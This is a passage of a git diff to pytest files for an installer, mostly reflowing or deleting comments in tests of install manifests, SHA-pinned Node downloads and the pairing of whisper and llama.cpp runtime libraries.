report None rather than False so callers fall back to their own detection- # instead of silently switching an install out of no-torch mode.+ # Manifests written before the key existed must keep verifying, and must report None rather than False so callers+ # fall back to their own detection instead of silently switching an install out of no-torch mode.im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest")payload = json.loads((install_root / im.MANIFEST_NAME).read_text(encoding = "utf-8"))assert "no_torch" not in payload@@ -438,9 +433,8 @@ def test_recorded_no_torch_reports_unknown_without_a_manifest(install_root):def test_marker_preserves_no_torch_across_the_manifest_drop(install_root, req_root):- # remove_manifest() runs before every dependency pass, so a run killed during- # it leaves no manifest. The marker is what stops the next update reading the- # absent torch as a stale venv and deleting the environment it runs out of.+ # remove_manifest() runs before every dependency pass, so a run killed during it leaves no manifest. The marker is+ # what stops the next update reading the absent torch as a stale venv and deleting the environment it runs out of.im.set_no_torch_marker(True, root = install_root)im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest", no_torch = True)assert im.recorded_no_torch(root = install_root) is True@@ -482,7 +476,6 @@ def test_scan_paths_dedupes_a_lib64_symlink(tmp_path, monkeypatch):(tmp_path / "lib64").symlink_to("lib")alias = tmp_path / "lib64" / "python3.13" / "site-packages"- # install_manifest imports sysconfig inside the function, so patch the module.monkeypatch.setattr(sysconfig, "get_paths", lambda *a, **k: {"purelib": str(real), "platlib": str(alias)})@@ -496,6 +489,7 @@ def test_scan_paths_keeps_genuinely_separate_roots(tmp_path, monkeypatch):pure.mkdir()plat.mkdir()+ # install_manifest imports sysconfig inside the function, so patch the module.monkeypatch.setattr(sysconfig, "get_paths", lambda *a, **k: {"purelib": str(pure), "platlib": str(plat)})@@ -556,7 +550,6 @@ def test_the_manifest_records_the_venvs_own_requirements_not_the_installers(instinstalled = _fake_venv(install_root, {"studio.txt": "pytest\n", "extras.txt": "openai==3.2.0\n"})- # The installer's tree, as an older bundle would carry it.(req_root / "studio.txt").write_text("pytest\n", encoding = "utf-8")(req_root / "extras.txt").write_text("openai>=2.7.2\n", encoding = "utf-8")diff --git a/tests/studio/install/test_install_manifest_damage.py b/tests/studio/install/test_install_manifest_damage.pyindex ac98b6fca7e..b1d0cc134b0 100644--- a/tests/studio/install/test_install_manifest_damage.py+++ b/tests/studio/install/test_install_manifest_damage.py@@ -321,7 +321,6 @@ def test_the_desktop_boot_path_does_not_ask_for_the_scan():cli = (repo / "unsloth_cli" / "commands" / "studio.py").read_text(encoding = "utf-8")assert "def _install_state(deep: bool = False)" in cli- # verify-install is the one command that opts in.assert "_install_state(deep = True)" in cli@@ -430,8 +429,8 @@ def test_the_budget_is_checked_before_every_stat(site_packages, monkeypatch):monkeypatch.setattr(Path, "stat", slow_stat)install_manifest.damaged_payload_files(PKG, budget_seconds = 5.0)- # The lower bound keeps the patched stat honest: unpatched the clock never- # moves, and the upper bound alone passes a scan that ignored the budget.+ # The lower bound keeps the patched stat honest: unpatched the clock never moves, and the upper+ # bound alone passes a scan that ignored the budget.assert 5.0 <= clock["now"] <= 6.0@@ -570,7 +569,6 @@ def test_a_stat_that_never_returns_does_not_wedge_setup(site_packages, monkeypatassert install_manifest.damaged_payload_files(PKG, budget_seconds = 0.5) == []assert time.monotonic() - started < 5.0finally:- # The worker is a daemon, but this keeps it from outliving the test.released.set()@@ -686,13 +684,10 @@ def test_an_unimportable_helper_forces_the_dependency_pass(tmp_path, contents, escript_dir.mkdir()if contents is not None:(script_dir / "install_manifest.py").write_text(contents, encoding = "utf-8")- # -I -S so `script_dir` is the ONLY place install_manifest can come from. The probe- # imports it off sys.path, and an install_manifest reachable from site-packages or- # PYTHONPATH satisfies that import even when the directory under test is empty: the- # "absent" case then falls through to a real verify_install against whatever tree the- # runner happens to have, and answers about that instead. -I drops PYTHONPATH and the- # user site, -S drops site-packages. Neither is needed by the probe, whose only- # imports are os, sys and the file being tested.+ # -I -S so `script_dir` is the ONLY place install_manifest can come from.+ # The probe imports it off sys.path, and an install_manifest reachable from site-packages or PYTHONPATH satisfies+ # that import even when the directory under test is empty: the "absent" case then falls through to a real+ # verify_install against whatever tree the runner happens to have, and answers about that instead.result = subprocess.run([sys.executable, "-I", "-S", "-c", _installer_helper_probe(), str(script_dir)],capture_output = True,diff --git a/tests/studio/install/test_install_node_prebuilt_logic.py b/tests/studio/install/test_install_node_prebuilt_logic.pyindex 5bcc9733cf4..08a9b8fcf27 100644--- a/tests/studio/install/test_install_node_prebuilt_logic.py+++ b/tests/studio/install/test_install_node_prebuilt_logic.py@@ -39,7 +39,6 @@ def _host(node_os: str, node_arch: str) -> HostInfo:)-# ── Host detection (per OS/arch) ──@pytest.mark.parametrize("system,machine,exp_os,exp_arch,exp_ext",[@@ -182,7 +181,6 @@ def test_extract_tar_gz_with_npm_symlink(tmp_path: Path):npm_link = dest / "node-v24" / "bin" / "npm"assert npm_link.is_symlink()assert (dest / "node-v24" / "bin" / "node").exists()- # executable bit preservedassert (dest / "node-v24" / "bin" / "node").stat().st_mode & 0o111@@ -301,7 +299,7 @@ def test_existing_install_matches_true_when_version_and_runtime_ok(tmp_path: Patdef test_install_prebuilt_short_circuits_when_version_matches(tmp_path: Path, monkeypatch):install_dir = tmp_path / "node"install_dir.mkdir()- version = M.pinned_default_version(M.load_pins()) # == INDEX's newest LTS+ version = M.pinned_default_version(M.load_pins())asset = M.node_asset_name(version, _host("linux", "x64"))pin = M.pinned_sha256(M.load_pins(), version, asset) # short-circuit now needs the pinM.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)@@ -322,16 +320,16 @@ def test_install_prebuilt_short_circuits_when_version_matches(tmp_path: Path, modef test_existing_install_usable_is_version_agnostic(tmp_path: Path, monkeypatch):host = _host("linux", "x64")- assert M.existing_install_usable(tmp_path, host) is False # no metadata+ assert M.existing_install_usable(tmp_path, host) is FalseM.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "y")monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)assert M.existing_install_usable(tmp_path, host) is Truemonkeypatch.setattr(M, "installed_npm_major", lambda d, h: 10)- assert M.existing_install_usable(tmp_path, host) is False # npm below floor+ assert M.existing_install_usable(tmp_path, host) is Falsemonkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)monkeypatch.setattr(M, "installed_node_version", lambda d, h: None)- assert M.existing_install_usable(tmp_path, host) is False # node does not run+ assert M.existing_install_usable(tmp_path, host) is Falsedef _offline(*a, **k):@@ -360,7 +358,7 @@ def test_install_prebuilt_keeps_existing_when_index_unreachable(tmp_path: Path,def test_install_prebuilt_reraises_when_index_unreachable_and_no_install(tmp_path: Path, monkeypatch):- install_dir = tmp_path / "node" # nothing on disk to fall back to+ install_dir = tmp_path / "node"monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))monkeypatch.setattr(M, "fetch_json", _offline)with pytest.raises(OSError):@@ -416,10 +414,10 @@ def test_install_prebuilt_keeps_existing_when_download_fails(tmp_path: Path, moninstall_dir.mkdir()M.write_metadata(install_dir, version = "24.9.0", asset = "x", sha256 = "y")monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))- monkeypatch.setattr(M, "fetch_json", lambda url: INDEX) # newest LTS = 24.18.0 (pinned)+ monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)- monkeypatch.setattr(M, "download_file_verified", _offline) # archive download fails+ monkeypatch.setattr(M, "download_file_verified", _offline)rc = M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)assert rc == M.EXIT_SUCCESS@@ -603,7 +601,7 @@ def test_install_prebuilt_failcloses_on_unpinned_latest(tmp_path: Path, monkeypa# Unpinned `latest`, no opt-in, nothing on disk to keep: refuse.install_dir = tmp_path / "node"monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))- monkeypatch.setattr(M, "fetch_json", lambda url: INDEX) # latest overall = 26.3.1 (unpinned)+ monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)def boom(*a, **k):@@ -618,15 +616,15 @@ def test_install_prebuilt_failcloses_on_unpinned_latest(tmp_path: Path, monkeypadef test_install_prebuilt_unpinned_refusal_does_not_keep_existing(tmp_path: Path, monkeypatch, channel):- # Regression: an unpinned refusal must fail closed even with a usable install on- # disk; the keep-existing fallback is for transient failures only.+ # Regression: an unpinned refusal must fail closed even with a usable install on disk; the keep-existing fallback+ # is for transient failures only.install_dir = tmp_path / "node"install_dir.mkdir()M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))- monkeypatch.setattr(M, "fetch_json", lambda url: INDEX) # latest overall = 26.3.1 (unpinned)+ monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")- monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11) # existing install is usable+ monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)def boom(*a, **k):@@ -650,8 +648,8 @@ def test_unpinned_refusal_maps_to_fallback_exit_code(tmp_path: Path, monkeypatchmonkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)rc = M.main(["--install-dir", str(install_dir), "--node-version", "latest"])assert rc == M.EXIT_FALLBACK- # Guard the main() catch order: UnpinnedNodeRefused must be caught before the- # generic PrebuiltFallback, so assert the message, not just the exit code.+ # Guard the main() catch order: UnpinnedNodeRefused must be caught before the generic PrebuiltFallback,+ # so assert the message, not just the exit code.out = capsys.readouterr().outassert "refusing to install Node" in outassert "prebuilt unavailable" not in out@@ -673,12 +671,12 @@ def test_resolve_expected_sha256_rejects_malformed_pins():def test_install_prebuilt_optin_takes_remote_shasums_path(tmp_path: Path, monkeypatch):- # With the opt-in set, an unpinned version drives the remote-SHASUMS path end to- # end: fetch SHASUMS256.txt, then the verified archive download (no refusal).+ # With the opt-in set, an unpinned version drives the remote-SHASUMS path end to end: fetch SHASUMS256.txt,+ # then the verified archive download (no refusal).install_dir = tmp_path / "node" # nothing on disk -> errors re-raise, not keep-existingasset = "node-v26.3.1-linux-x64.tar.gz"monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))- monkeypatch.setattr(M, "fetch_json", lambda url: INDEX) # latest = 26.3.1 (unpinned)+ monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, "1")shasums_fetched = {"n": 0}@@ -716,20 +714,20 @@ def test_pins_manifest_is_declared_in_package_data():def test_existing_install_matches_enforces_expected_sha(tmp_path: Path, monkeypatch):- # The short-circuit must not keep a version-matching install whose recorded digest- # is not the pin (old remote-SHASUMS install or a tampered artifact).+ # The short-circuit must not keep a version-matching install whose recorded digest is not the pin (old+ # remote-SHASUMS install or a tampered artifact).host = _host("linux", "x64")M.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "aa")monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)- assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is True # back-compat+ assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is Trueassert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "aa") is Trueassert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "bb") is Falsedef test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monkeypatch):- # Codex P2: an unpinned version already on disk must still fail closed without the- # opt-in, not be kept by the version-only short-circuit.+ # Codex P2: an unpinned version already on disk must still fail closed without the opt-in, not be kept by the+ # version-only short-circuit.install_dir = tmp_path / "node"install_dir.mkdir()M.write_metadata(install_dir, version = "26.3.1", asset = "a", sha256 = "s")@@ -747,9 +745,9 @@ def test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monkdef test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, monkeypatch):- # Symmetry with the short-circuit guard: the transient-failure fallback must not- # keep a same-version install whose recorded digest is not the pin. (A different- # usable version is still kept for offline resilience -- covered above.)+ # Symmetry with the short-circuit guard: the transient-failure fallback must not keep a same-version install whose+ # recorded digest is not the pin. (A different usable version is still kept for offline resilience - covered+ # above.)host = _host("linux", "x64")version = M.pinned_default_version(M.load_pins())asset = M.node_asset_name(version, host)@@ -767,8 +765,6 @@ def test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, mo# ── _replace_with_retry: transient Windows sharing violations ──────────────────# Seen in CI: WinError 5 renaming extracted Node into place on a FRESH install, a scanner# still holding handles inside the new files.--def _oserror(winerror: int) -> OSError:exc = OSError(winerror, "mock")exc.winerror = winerror@@ -778,7 +774,7 @@ def _oserror(winerror: int) -> OSError:@pytest.mark.parametrize("winerror", [5, 32, 145])def test_replace_retries_transient_windows_errors(monkeypatch, tmp_path, winerror):monkeypatch.setattr(M.os, "name", "nt")- monkeypatch.setattr(M.time, "sleep", lambda _s: None) # no real backoff in tests+ monkeypatch.setattr(M.time, "sleep", lambda _s: None)calls = {"n": 0}def flaky(src, dst):@@ -802,7 +798,6 @@ def test_replace_gives_up_and_reports_the_real_error(monkeypatch, tmp_path):def test_replace_does_not_retry_a_genuine_error(monkeypatch, tmp_path):- # A cross-device move or real permissions problem must fail immediately.monkeypatch.setattr(M.os, "name", "nt")monkeypatch.setattr(M.time, "sleep", lambda _s: None)calls = {"n": 0}diff --git a/tests/studio/install/test_install_whisper_prebuilt_logic.py b/tests/studio/install/test_install_whisper_prebuilt_logic.pyindex 48ae06398eb..9582991e90d 100644--- a/tests/studio/install/test_install_whisper_prebuilt_logic.py+++ b/tests/studio/install/test_install_whisper_prebuilt_logic.py@@ -15,8 +15,8 @@ import pytestPACKAGE_ROOT = Path(__file__).resolve().parents[3]MODULE_PATH = PACKAGE_ROOT / "studio" / "install_whisper_prebuilt.py"-# The installer imports install_llama_prebuilt (same directory); make studio/-# importable so that resolves under spec-based loading.+# The installer imports install_llama_prebuilt (same directory); make studio/ importable so that resolves under+# spec-based loading._STUDIO_DIR = str(MODULE_PATH.parent)if _STUDIO_DIR not in sys.path:sys.path.insert(0, _STUDIO_DIR)@@ -383,9 +383,9 @@ def test_busy_lock_maps_to_exit_busy(tmp_path, monkeypatch):# ── Resolver JSON shape ──def test_resolve_mode_keeps_stdout_json_only(tmp_path, monkeypatch, capsys):- # Even when the slim pairing emits diagnostics, --resolve-prebuilt must keep- # stdout to exactly the JSON line (setup.sh / whisper_cpp_update.py parse- # it); the slim_selection log noise belongs on stderr.+ # Even when the slim pairing emits diagnostics, --resolve-prebuilt must keep stdout to exactly the JSON line+ # (setup.sh / whisper_cpp_update.py parse it);+ # the slim_selection log noise belongs on stderr.host = _cuda_host()bin_dir = _fake_llama_bin(tmp_path)monkeypatch.setattr(@@ -404,8 +404,7 @@ def test_resolve_mode_keeps_stdout_json_only(tmp_path, monkeypatch, capsys):monkeypatch.setattr(M, "fetch_release_for_install", lambda repo, *, published_release_tag = None: (bundle, {}))- # A prior install test may have left the module flag True; the resolver must- # force it back to stderr regardless.+ # A prior install test may have left the module flag True; the resolver must force it back to stderr regardless.monkeypatch.setattr(M, "_LOG_TO_STDOUT", True, raising = False)rc = M.main(["--resolve-prebuilt", "--output-format", "json"])@@ -469,9 +468,8 @@ def test_main_maps_unexpected_error_to_exit_error(tmp_path, monkeypatch):def test_resolve_mode_unexpected_error_reports_unavailable(monkeypatch, capsys):- # An unexpected failure inside the probe maps to prebuilt_available=False, not- # a traceback, so the caller falls back cleanly. It is reported as unresolved,- # since nothing was learned about whether a prebuilt exists.+ # An unexpected failure inside the probe maps to prebuilt_available=False, not a traceback, so the caller falls back+ # cleanly. It is reported as unresolved, since nothing was learned about whether a prebuilt exists.host = _host("linux", "x64")monkeypatch.setattr(M, "detect_host", lambda: host)@@ -647,8 +645,8 @@ def test_slim_selected_when_all_pairing_checks_pass(tmp_path, monkeypatch):],)def test_slim_pairing_failure_falls_back_to_pinned_cpu(tmp_path, monkeypatch, runtime, slim_extra):- # With the fat per-accelerator chain gone, a failed pairing degrades to the- # one legacy shape: the release's published fat CPU bundle.+ # With the fat per-accelerator chain gone, a failed pairing degrades to the one legacy shape: the release's+ # published fat CPU bundle.bin_dir = _fake_llama_bin(tmp_path)monkeypatch.setattr(M, "installed_llama_runtime", lambda: runtime(bin_dir))artifact, backend, used_fallback = M.select_artifact_with_fallback(@@ -659,9 +657,8 @@ def test_slim_pairing_failure_falls_back_to_pinned_cpu(tmp_path, monkeypatch, rudef test_slim_missing_accel_module_rides_the_cpu_module(tmp_path, monkeypatch):- # Sonames present but no libggml-cuda.so in the llama bin dir: the cuda- # pairing fails, and the cpu retry still serves the same slim bundle via- # the llama cpu modules.+ # Sonames present but no libggml-cuda.so in the llama bin dir: the cuda pairing fails, and the cpu retry still+ # serves the same slim bundle via the llama cpu modules.bin_dir = _fake_llama_bin(tmp_path, backend_module = None)monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")@@ -674,8 +671,8 @@ def test_slim_missing_accel_module_rides_the_cpu_module(tmp_path, monkeypatch):def test_slim_selected_for_cpu_backend_on_linux(tmp_path, monkeypatch):- # Slim-only releases must serve cpu too: with the llama cpu modules present- # the cpu backend rides the same slim bundle as the GPUs.+ # Slim-only releases must serve cpu too: with the llama cpu modules present the cpu backend rides the same slim+ # bundle as the GPUs.bin_dir = _fake_llama_bin(tmp_path)monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")@@ -740,9 +737,8 @@ WIN_GPU_BUNDLES = [("rocm", "ggml-hip.dll", {"has_rocm": True, "rocm_gfx": "gfx1150"}),("cuda", "ggml-cuda.dll", {"has_usable_nvidia": True}),("vulkan", "ggml-vulkan.dll", {}),- # The cpu backend on a GPU bundle: the exemption keys on what the paired bin- # dir holds, not on the request, and that bundle's ggml-cpu.dll has no libomp- # to find either, so this must pair outright rather than via a cpu retry.+ # The cpu backend on a GPU bundle: the exemption keys on what the paired bin dir holds, not on the request, and that+ # bundle's ggml-cpu.dll has no libomp to find either, so this must pair outright rather than via a cpu retry.("cpu", "ggml-hip.dll", {}),]@@ -751,8 +747,8 @@ WIN_GPU_BUNDLES = [def test_windows_gpu_slim_does_not_require_cpu_only_libomp(tmp_path, monkeypatch, backend, module, host_kwargs):- # The shared Windows manifest lists the OpenMP runtime only the cpu llama- # bundle ships; the GPU bundles omit it and never import it, so they pair.+ # The shared Windows manifest lists the OpenMP runtime only the cpu llama bundle ships; the GPU bundles omit it+ # and never import it, so they pair.# The empty bundle_profile is what the published rocm artifacts carry.bin_dir = tmp_path / "llama.cpp" / "build" / "bin" / "Release"bin_dir.mkdir(parents = True)@@ -769,12 +765,12 @@ def test_windows_gpu_slim_does_not_require_cpu_only_libomp(assert chosen == backend and used_fallback is False-# "" is the upstream-sourced install: install_llama_prebuilt builds those-# AssetChoices without a bundle_profile, so a real cpu bundle reports no profile.+# "" is the upstream-sourced install: install_llama_prebuilt builds those AssetChoices without a bundle_profile, so a+# real cpu bundle reports no profile.@pytest.mark.parametrize("profile", ["windows-cpu-x64", ""])def test_windows_cpu_bundle_still_requires_manifest_libomp(tmp_path, monkeypatch, profile):- # A cpu bundle's ggml really does import libomp, so a runtime that lost the- # DLL must fail the pairing rather than install a whisper that cannot load.+ # A cpu bundle's ggml really does import libomp, so a runtime that lost the DLL must fail the pairing rather+ # than install a whisper that cannot load.bin_dir = tmp_path / "llama.cpp" / "build" / "bin" / "Release"bin_dir.mkdir(parents = True)for name in ("ggml.dll", "ggml-base.dll", "ggml-cpu-haswell.dll"):@@ -789,8 +785,8 @@ def test_windows_cpu_bundle_still_requires_manifest_libomp(tmp_path, monkeypatchdef test_linux_slim_still_requires_manifest_libomp(tmp_path, monkeypatch):- # The exemption is Windows only: llama's clang-built linux slices bundle- # libomp beside a libggml-base that really imports it, so it stays mandatory.+ # The exemption is Windows only: llama's clang-built linux slices bundle libomp beside a libggml-base that really+ # imports it, so it stays mandatory.bin_dir = _fake_llama_bin(tmp_path, backend_module = "libggml-cuda.so")monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "linux-cuda")@@ -835,9 +831,8 @@ def test_windows_rocm_slim_still_requires_ggml_runtime(tmp_path, monkeypatch, midef test_windows_rocm_slim_rejects_decoy_hip_dlls_alone(tmp_path, monkeypatch):- # Same loss, but with libomp present so the soname gate cannot do the- # rejecting: only naming the ggml module rejects this, which is what the- # older *hip*.dll glob could not do.+ # Same loss, but with libomp present so the soname gate cannot do the rejecting: only naming the ggml module+ # rejects this, which is what the older *hip*.dll glob could not do.bin_dir = tmp_path / "llama.cpp" / "build" / "bin" / "Release"bin_dir.mkdir(parents = True)for name in (@@ -933,8 +928,8 @@ def test_macos_auto_backends_route_to_slim(tmp_path, monkeypatch):def test_slim_metal_requires_the_metal_module(tmp_path, monkeypatch):- # A macos llama runtime without libggml-metal*.dylib cannot back metal; the- # cpu fallback still rides the same slim bundle via the cpu module.+ # A macos llama runtime without libggml-metal*.dylib cannot back metal; the cpu fallback still rides the same slim+ # bundle via the cpu module.bin_dir = tmp_path / "llama.cpp" / "build" / "bin"bin_dir.mkdir(parents = True)for name in ("libggml.dylib", "libggml-base.dylib", "libggml-cpu.dylib"):@@ -951,8 +946,8 @@ def test_slim_metal_requires_the_metal_module(tmp_path, monkeypatch):def test_slim_only_release_pairing_failure_is_actionable(tmp_path, monkeypatch):- # A slim-only release with no llama install is an operational failure, not- # the narrowly handled installed-version skew.+ # A slim-only release with no llama install is an operational failure, not the narrowly handled installed-version+ # skew.lines: list[str] = []monkeypatch.setattr(M, "log", lines.append)monkeypatch.setattr(M, "installed_llama_runtime", lambda: None)@@ -999,8 +994,8 @@ def test_llama_runtime_pairs_falls_back_to_mix_suffix(installed, required, pairsLLAMA_REPO = "unslothai/llama.cpp"-# A publisher that is NOT the default, so a lookup that dropped installed_repo-# and fell back to unslothai/llama.cpp builds a different URL and gets caught.+# A publisher that is NOT the default, so a lookup that dropped installed_repo and fell back to unslothai/llama.cpp+# builds a different URL and gets caught.FORK_REPO = "acme-fork/llama.cpp"@@ -1020,15 +1015,15 @@ def _offline_published_tree_lookup(monkeypatch):raise OSError(f"offline test tried to fetch {url}")monkeypatch.setattr(M, "_download_host_json_once", unreachable)- # No marker to read, so installed_llama_tree_repo() stays None unless a- # test points it somewhere; the lookup then needs an explicit repo.+ # No marker to read, so installed_llama_tree_repo() stays None unless a test points it somewhere; the lookup then+ # needs an explicit repo.monkeypatch.setattr(M.llama, "default_managed_llama_dir", lambda: Path("/nonexistent-llama"))yieldM._PUBLISHED_GGML_TREE_CACHE.clear()-# The autouse fixture above replaces _download_host_json_once with an offline guard, so a test-# exercising the real wrapper has to hold a reference taken at import, before any fixture runs.+# The autouse fixture above replaces _download_host_json_once with an offline guard, so a test exercising the real+# wrapper has to hold a reference taken at import, before any fixture runs._REAL_DOWNLOAD_HOST_JSON_ONCE = M._download_host_json_once@@ -1046,8 +1041,8 @@ TREE_B = "e96ffb0e063f66952b0c54796a74755b6041c867"(SUFFIX_SHARED_A, SUFFIX_SHARED_B, TREE_A, TREE_B, False),# Different suffixes, same ggml: ABI-identical.("b10241-mix-89aa77b", "b10225-mix-345e1e3", TREE_A, TREE_A, True),- # A missing tree falls back to the suffix only when the release does- # not publish one either; the lookup is stubbed offline above.+ # A missing tree falls back to the suffix only when the release does not publish one either; the lookup is+ # stubbed offline above.(SUFFIX_SHARED_A, SUFFIX_SHARED_B, None, TREE_B, True),(SUFFIX_SHARED_A, SUFFIX_SHARED_B, TREE_A, None, True),(SUFFIX_SHARED_A, SUFFIX_SHARED_B, "", "", True),@@ -1070,9 +1065,8 @@ def test_llama_runtime_pairs_prefers_ggml_tree(def test_llama_runtime_pairs_reads_the_published_tree_when_the_marker_has_none(monkeypatch):- # The case the fallback got wrong: one -mix- suffix, two ggml trees. An- # install predating ggml_tree has no local tree, so both come from the- # releases.+ # The case the fallback got wrong: one -mix- suffix, two ggml trees. An install predating ggml_tree has no local+ # tree, so both come from the releases.trees = {SUFFIX_SHARED_A: TREE_A, SUFFIX_SHARED_B: TREE_B}fetched = []@@ -1085,9 +1079,9 @@ def test_llama_runtime_pairs_reads_the_published_tree_when_the_marker_has_none(mM.llama_runtime_pairs(SUFFIX_SHARED_A, SUFFIX_SHARED_B, installed_repo = FORK_REPO) is False)assert len(fetched) == 2- # The installed tag is read from the repo that published it. FORK_REPO is- # not the default publisher, so a lookup ignoring installed_repo would- # build a unslothai/llama.cpp URL here and this would catch it.+ # The installed tag is read from the repo that published it.+ # FORK_REPO is not the default publisher, so a lookup ignoring installed_repo would build a unslothai/llama.cpp URL+ # here and this would catch it.assert any(f"/{FORK_REPO}/releases/download/{SUFFIX_SHARED_A}/" in url for url in fetched)@@ -1244,9 +1238,9 @@ def test_installed_llama_ggml_tree_absent_is_none(tmp_path, prepare):def test_slim_pairs_across_llama_build_bump_with_same_ggml(tmp_path, monkeypatch):- # The live failure: the llama installer advances to a newer build that keeps- # the same ggml commit, so the slim bundle's paired runtime is ABI-identical- # and must still select rather than degrade to CPU or report unavailable.+ # The live failure: the llama installer advances to a newer build that keeps the same ggml commit, so the slim+ # bundle's paired runtime is ABI-identical and must still select rather than degrade to CPU or report+ # unavailable.bin_dir = _fake_llama_bin(tmp_path)monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, NEWER_LLAMA_TAG, "cuda13-newer")@@ -1259,8 +1253,8 @@ def test_slim_pairs_across_llama_build_bump_with_same_ggml(tmp_path, monkeypatchdef test_slim_build_bump_same_ggml_is_not_a_compatibility_error(tmp_path, monkeypatch):- # A same-ggml build bump must not surface as a release incompatibility (the- # update path reports that as unavailable); only a real ggml skew does.+ # A same-ggml build bump must not surface as a release incompatibility (the update path reports that as+ # unavailable); only a real ggml skew does.bin_dir = _fake_llama_bin(tmp_path)monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, NEWER_LLAMA_TAG, "cuda13-newer")@@ -1325,9 +1319,8 @@ def test_link_ggml_runtime_fails_closed_on_empty_runtime(tmp_path):def test_link_ggml_runtime_wires_windows_libomp(tmp_path):- # llama's clang-built windows-arm64 ggml-base.dll imports- # libomp140.aarch64.dll (bundled, not a system DLL): the wiring must place- # it next to whisper-server.exe or the loader dies with DLL_NOT_FOUND.+ # llama's clang-built windows-arm64 ggml-base.dll imports libomp140.aarch64.dll (bundled, not a system DLL): the+ # wiring must place it next to whisper-server.exe or the loader dies with DLL_NOT_FOUND.bin_dir = tmp_path / "llama_bin"bin_dir.mkdir()for name in ("ggml.dll", "ggml-base.dll", "ggml-cpu.dll", "libomp140.aarch64.dll"):@@ -1340,8 +1333,8 @@ def test_link_ggml_runtime_wires_windows_libomp(tmp_path):def test_link_ggml_runtime_wires_linux_libomp(tmp_path):- # llama's clang-built linux-arm64 libggml-base.so NEEDS libomp.so.5, bundled- # and never on the host: without it whisper-server fails to load.+ # llama's clang-built linux-arm64 libggml-base.so NEEDS libomp.so.5, bundled and never on the host: without it+ # whisper-server fails to load.bin_dir = tmp_path / "llama_bin"bin_dir.mkdir()for name in ("libggml.so.0", "libggml-base.so.0", "libggml-cpu-armv8.0_1.so", "libomp.so.5"):@@ -1360,8 +1353,7 @@ def test_link_ggml_runtime_wires_linux_libomp(tmp_path):def test_link_ggml_runtime_linux_libomp_alone_is_not_a_pairing(tmp_path):- # Same fail-closed rule as the Windows case: OpenMP without ggml is not a- # usable llama runtime.+ # Same fail-closed rule as the Windows case: OpenMP without ggml is not a usable llama runtime.bin_dir = tmp_path / "llama_bin"bin_dir.mkdir()(bin_dir / "libomp.so.5").write_bytes(b"x")@@ -1380,8 +1372,8 @@ def test_rocm_runtime_wires_complete_windows_dll_overlay(tmp_path):"rocblas.dll","hipblaslt.dll","hsa-runtime64.dll",- # The llama Windows ROCm archive can carry transitive DLLs whose names- # do not contain hip/roc/amd. Its installer overlays every DLL.+ # The llama Windows ROCm archive can carry transitive DLLs whose names do not contain hip/roc/amd.+ # Its installer overlays every DLL."runtime-support.dll",}for name in dlls:@@ -1447,8 +1439,8 @@ def test_rocm_runtime_wires_packaged_dependency_closure_and_catalogs(tmp_path, mdef test_rocm_runtime_requires_the_rocblas_kernel_catalog(tmp_path):- # rocblas stays mandatory: libggml-hip.so lists librocblas.so.5 in its ELF- # NEEDED (checked on the published b10342 linux-x64-rocm-gfx103X bundle).+ # rocblas stays mandatory: libggml-hip.so lists librocblas.so.5 in its ELF NEEDED (checked on the published b10342+ # linux-x64-rocm-gfx103X bundle).llama_bin = _fake_llama_bin(tmp_path, backend_module = "libggml-hip.so")(llama_bin / "hipblaslt").mkdir()(llama_bin / "hipblaslt" / "kernel.dat").write_bytes(b"kernel")@@ -1488,8 +1480,8 @@ def _gfx103x_llama_bin(tmp_path: Path) -> Path:def test_rocm_runtime_wires_rocblas_when_hipblaslt_ships_no_kernels(tmp_path):- # #8364: RX 6800 (gfx1030) on linux x64. The whisper update failed every- # startup on "missing its hipblaslt kernel catalog" while inference ran.+ # #8364: RX 6800 (gfx1030) on linux x64. The whisper update failed every startup on "missing its hipblaslt kernel+ # catalog" while inference ran.llama_bin = _gfx103x_llama_bin(tmp_path)whisper_bin = tmp_path / "whisper-bin"@@ -1574,9 +1566,8 @@ def test_rocm_runtime_catalog_copy_fallback(tmp_path, monkeypatch):reason = 